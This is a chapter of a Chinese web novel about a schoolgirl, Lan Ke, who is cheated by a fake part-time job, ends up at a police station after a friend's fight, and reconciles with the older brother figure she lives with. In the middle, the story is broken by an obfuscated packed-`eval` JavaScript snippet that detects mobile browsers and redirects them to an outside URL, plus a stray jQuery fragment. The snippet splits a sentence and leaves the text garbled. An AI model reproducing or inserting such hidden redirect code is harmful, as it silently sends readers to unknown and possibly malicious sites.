4. 呓语

作品:《妹妹,但想当嫂子

    悄悄把钱塞进口袋,蓝柯关上门往客厅走,蓝羡之双腿叉开,大喇喇靠在沙发上,她扫了他一眼不知道说什么,就思忖着要回房。


    “去哪了,这么晚还没回来?”


    被叫住的一瞬,蓝柯愣了下,差点以为自己听错,主要是在这边也住十几天了,蓝羡之从来没管过她。


    犹豫两秒,她随便扯了个借口,“我跟同学出去玩。”


    “那刚楼底下的是谁?”


    哪怕是晚上,暑气也一点没褪。


    蓝羡之套了件黑色无袖,浑身跟没骨头似的坐在沙发上盯着她,眸光晦暗不明,“蓝柯,你知道自己多大吗?就学人谈恋爱。”


    话落,蓝柯懵了下,反应过来是误会旋即摇头,“不是,那我同学,他…他家也住这边,顺路才送我回来的。”


    怕他不信,她又补了句是好几个人一起,这时,蓝羡之才有了点反应,起身去厨房端菜,只撂下句,“吃饭。”


    一顿饭吃得别别扭扭,弄不懂蓝羡之什么意思,蓝柯也再没费心思想,只把今天赚的钱叠好,准备明天再大干一场。


    次日七点,蓝柯准点起来,可刚接完水要走,她就被人拦在了门口。


    蓝羡之插兜站在原地,闲散道:“哪这么好玩,需要一大早就过去?”男人语气淡漠,带着点没睡醒的低哑,“去找你那个小男朋友?”


    “我说了,我真没谈恋爱。”没时间再跟蓝羡之纠缠,蓝柯推搡着想出门,但他劲太大了,纠缠一番败下阵,她这才如实答,“我要去兼职。”


    “兼什么职?”蓝羡之懒懒站在一边,掀起眼皮看她。


    “发小广告。”


    “你觉得我信吗?”


    盯着他的眼,蓝柯无奈摇头,从兜里拿手机给齐天锡发了条消息,【计划有变,你跟岑溪先去吧。】


    “我不想知道你信不信,蓝羡之,但你凭什么管我,你是我哥吗就管。”


    耽误一天少四十,想着还没着落的学费,蓝柯喉咙发紧,拧着眉头不知道该讲什么,索性捋了捋头发。


    但发丝涩得打结,理也理不开。


    “蓝柯,你以为我稀罕管你吗?”蓝羡之这会也气笑了,口腮绷紧,舌尖顶了顶后槽牙。


    “你知不知道自己多大,出去兼职谁敢要你,你到底还要被骗多少次?还要我去警察局捞你多少次?”


    “我知道——”话里带了点哭腔,蓝柯尾音拉长,扯着嗓子喊。


    “不然呢,不然怎么办,你是屁股一拍就能出去上大学了,但我还要上初三,蓝羡之,我连高中还没上!你是想让我这辈子都不上学了吗!”


    “我身上就剩两千了……”说到这,蓝柯肩膀一耸,哇一下哭出声,胸膛上下起伏着,她一句多余的话都没法再说出来。


    双手捂着眼睛,蓝柯越哭动静越大,眼泪刷刷从指缝溢出来,最后她索性不管了,把手放下敞开大哭。


    真是没见过这种说哭就哭的,也没个预兆。


    因为太过突然,蓝羡之脸上这会也挂不住了,冷声说了句别哭,见没人理,他走近把人拽到沙发上,扯了几张纸递过去,“喂,你一天能赚多少钱?”


    “四…十…”哭得说不出囫囵话,她断断续续答。


    听不清,蓝羡之再三确认,“四十?”


    话落,蓝柯哭得更大声了。


    被这摸不着头脑的泪腺搞懵,蓝羡之站原地愣了两秒,随后叹气,拿手去捂她嘴,“喂,你先别哭了,我给你钱,我给你钱总行了吧。”


    “啊?”像是也懵了下,蓝柯抬起泪眼看他。


    对上她眼点头,蓝羡之回房把钱夹拿出来,抽了一千六,“你九月份开学是吗,现在还剩四十多天,我给你钱,开学前不许给我出去惹麻烦。”


    “…真的?”带着点试探,蓝柯瓮声瓮气开口。


    “钱都拿出来了,什么真的假的。”一股脑把票扔到蓝柯手上,蓝羡之嘱咐,“拿了,这段时间就给我老实呆家里。”


    被刚那一阵嚎啕声弄得神经衰弱,看她安静下来,他径直回了床上补觉。


    不知道是不是这一千块的缘故,蓝柯后面的日子变得安分起来,连门都不怎么出了。


    这段时间她一心预习功课,想考好点拿奖学金。


    两点多,她是被手机的振动声吵醒的,才睡半小时,看了眼手机界面,蓝柯强撑着眼接通电话,“喂,溪溪。”


    “柯柯,齐天锡跟人打架了!”


    “什么?”头脑猛然清醒过来,她腾地从床上起来,等火急火燎穿好衣服,蓝柯才大概弄懂是怎么回事。


    他们找的这个发小广告的是个骗子,第一天把钱发下来骗人,这几天就没发钱了,说是什么过几天一块结,结果干到头了,那人倒是不发了。


    岑溪有点怀疑就问了几句,对面估计是看他们小,就给什么好脸色,齐天锡本来就是个暴脾气,一看岑溪被欺负,拳头就挥了上去。


    这个点蓝羡之不在家,她往外探了眼,径直往警察局去,十分钟后,打开调解室门,齐天锡正鼻青脸肿坐在里面。


    “你没事吧?真行啊,打架什么都不看,光往上冲!”掰着他脸看了眼伤,等仔细检查完,她松了口气放开手。


    幸好都是皮外伤,岑溪跑附近药店买了碘伏创可贴,简单给他处理完伤口,三人坐在警察对面受教育。


    “今天都算你们运气好的,诈骗组织人不多,人要多了怎么办,还要以暴制暴吗!”


    “我跟你们说,现在的小孩还是要注意安全,找兼职注意点,听到没!”


    几人头捣得像蒜泥,被训了一两个小时,警察坐了口水摆手,“好了,叫你们家长过来接吧。”


    话落,仨人面面相觑。


    “我不行,蓝羡之才在警察局捞过我,这次再被他发现,我估计会被扫地出门。”蓝柯脸一下苦下来,烦躁搔了搔后颈。


    “那怎么办,我爸脾气也爆,要是知道我打人还得了。”


    踢皮球踢了好几圈,岑溪终于忍不住了,打电话让她姐过来接。


    姐姐过来,三人又听了遍训,随后就各回各家了。


    可没走几步,蓝柯又停下,定在原地盘算,六点多,蓝羡之估计已经回去了,这个点回家,不被盘问才怪,而且她才刚答应过他要消停点。


    万一被蓝羡之知道又进了警局……晃了晃脑袋,蓝柯找出手机给他消息,【我在打卤面这买饭,你晚上有想吃的吗?】


    这个借口好像也说的通,她慢慢抬起步子往前走,正思忖着,那边秒回,【警察局边上也有打卤面是吗,蓝柯?】


    “真是出息,一个月进两次警局,下次全青市的警局你是不是都要光临一遍?”


    被突然出声的蓝羡之吓了一跳,蓝柯战战兢兢回头,这才发现他一改往常,换了身衬衫黑裤站在她身后。


    白衬衫被风吹得鼓着,顺着衣领往上看,蓝羡之黑着脸,一副要收拾自己的样子,没由来倒吸了一口气,蓝柯缩着肩膀重新把头低下,“对不起,但这次不是因为我,是那个——”


    话没讲完,蓝羡之就抓着手机往前走了,一点想等她的样子也没有。


    蓝柯看了眼,急忙跟上去,但他手长腿长走得快,她慢慢就落了段路,没办法,蓝柯只能加快速度追,不知道这样走了多久,她猛地撞进一个温热的胸膛。


    “对不起,对不起!”


    “别跟着我。”


    “我…我也回家。”


    “蓝柯,你是不是忘了我之前说的?”刚找人找得浑身冒热气,解了颗扣子,蓝羡之把衬衫领子往下拽,“别给我惹事,这话你听不懂?”


    “不是!是齐天锡被骗了,我们之前找的那个贴小广告的是骗——”


    “那我是不是跟你说了你容易被骗?”


    又被打断,蓝柯心里带气,但因为自认理亏还是耐着性子继续解释,“可这事发生的时候我们还没达成一致啊。”当时她一心挣钱,有钱就扑上去了,难免会遇到骗子。


    “我懒得跟你掰扯,蓝柯,你爱去哪去哪,别跟着我。”说罢,蓝羡之甩开被抓着的手,径直向前。


    “谁稀罕跟你!”蓝柯这会倔脾气也上来了,觉得蓝羡之不可理喻,就没再重新追上去,只盯着他越来越远的背影,泄力蹲在原地。


    经刚才那一闹,天已经半黑。


    她埋头靠在墙边,一句话都说不出,过了会腿麻了,蓝柯起来,没目的地走了一段路,本想去岑溪那凑合一晚,可她却不知不觉逛回了家里。


    抬头,二楼的灯都还亮着,在楼道里呆了会儿,蓝柯脚抬了又抬,但还是犹豫着要不要上去,正纠


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198016|181205||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    结着,门口突然亮了灯。


    一楼住着的阿姨端着碗出来了,像是刚吃饭,“小柯?你回来了。”


    “什么?”懵了下,蓝柯看向邻居阿姨。


    “下午你哥来敲门,说是找不到你人,急得都快报警了,到处问有没有碰见过你。”话落,女人端着碗重新进去,独留蓝柯怔忪在台阶上。


    喉咙紧得什么声都发不出,沉默片刻,门口灯灭掉。


    这边楼梯底下堆的都是八百年不要的破铜烂铁,黑暗里,霉味越来越重,觉得难闻,蓝柯不作声踢了一脚,蓦地,声控灯亮了,以为是自己动静太大,她忙收回脚。


    可再抬眼,蓝羡之却插兜站在家门口看她。


    两层楼梯交错着,循着缝隙里的光源往上看,蓝柯正好能看清他的表情,阴郁、忍耐,还带着点被吵到的烦躁。


    耳根子被臊红,她双唇紧闭着收回视线,僵持在原地没动。


    蓝羡之亦然,就这么扫了眼她也没再说话。


    楼梯间怪异气氛到处蔓延,慢慢的,声控灯再度关上,见状,蓝柯双腿轻轻挪动着,低着头要走。


    可还没转过身,一道男音突然叫住她人,也顺便叫亮了灯,让蓝柯被迫暴露在光亮里不敢再动,“还不进来,你是准备在这喂一夜蚊子?”


    话说完,蓝羡之就重新回去了。


    反应两秒,蓝柯抬起步子跟上去。


    再进门时,客厅已经没了人,往他房间探头看了两秒,她收回视线,目光落在桌上的那碗馄饨上。


    指尖覆着碗边,还带着丝丝温热,没再犹豫,蓝柯拿起勺子尝了一口,热汤入胃那刻,她一天的糟心事消解了一半,整个人卸下紧绷的弦。


    一天没吃饭,蓝柯没忍住多吃了几个,狼吞虎咽的,连水都急咧咧的没喝一口。


    等吃完饭,蓝柯擦了下嘴就急忙回房,撕了张作业本上的纸开始写道歉信,【对不起。】不行,太生硬了,划掉。


    【今天的事我知道错了,你能不能……】


    写到一半,她再度把这句话也否掉,最后,不知道修修改改团了几张纸,蓝柯终于把纸条写好。


    【哥,对不起,还有谢谢。】


    小心把东西折好,她蹑手蹑脚拉开房门,把这张小纸片塞到了蓝羡之的门缝下面,知道他不可能一下看到,她蹲在门外面听了会儿动静。


    过了会,因为听不到声,蓝柯没忍住小声嘟囔,“怎么一点声音没有,真睡了?”


    蚊子还在耳边嗡嗡转着,闹得她头疼,蓝柯把心思转到门外,一巴掌打死了刚才还在转的活物,等看着掌心的一点红,她满意回房。


    蓝柯人小心大,道完歉就很快入眠了。


    但某人不一样,在床上辗转十几回,直到听到门外面窸窸窣窣的小动静,他悬着的心才彻底放下。


    下午有个网课机构面试,他刚跟人面完去客厅喝水,就没见到蓝柯人了,房子里里外外找了一通,本来没想当回事,但看着手机里没打通的十几个未接电话,蓝羡之心里还是有点没底。


    最后又在家里干等了一两个小时,他还是认命出去找人。


    最近暑假,学生都放出来了,听小区上面的喇叭上一遍遍播着防拐广播,蓝羡之气儿开始不顺,脚下也加快速度,急着把这附近都找一遍。


    大概找了一个多小时,等在警局门口见到蓝柯的时候,他快气笑了,心说自己上辈子肯定是造了孽,不然这辈子怎么能三天两头去警察局找人。


    算了,还知道给他打蚊子,也是有点良心的。


    把刚蹲地上捡的纸扔回桌上,他躺下,可要阖眼,想起门可能还没关,蓝羡之又重新起来。


    刚上来的时候怕蓝柯犟着不进,他就留了个门,可以她那傻样,关没关还真不一定。


    走出去确认完门窗锁好,蓝羡之径直要回房,可一扭头,他才发现对面房里的灯亮着。


    蓝柯房门半掩着,隐约能看到她大喇喇躺床上的样子,夏夜幽静,只偶尔有阵蝉乱叫,房间里,蓝羡之连她轻微的鼾声都能听得一清二楚。


    走近把灯关了,他嫌弃地把她掉在地上的被子捡起,又重新给蓝柯掖了掖。


    可正准备转身离开,蓝羡之的衣角却被轻轻拽住,回头,女孩低低的呓语传来,轻到听得蓝羡之耳边发痒,“别走…”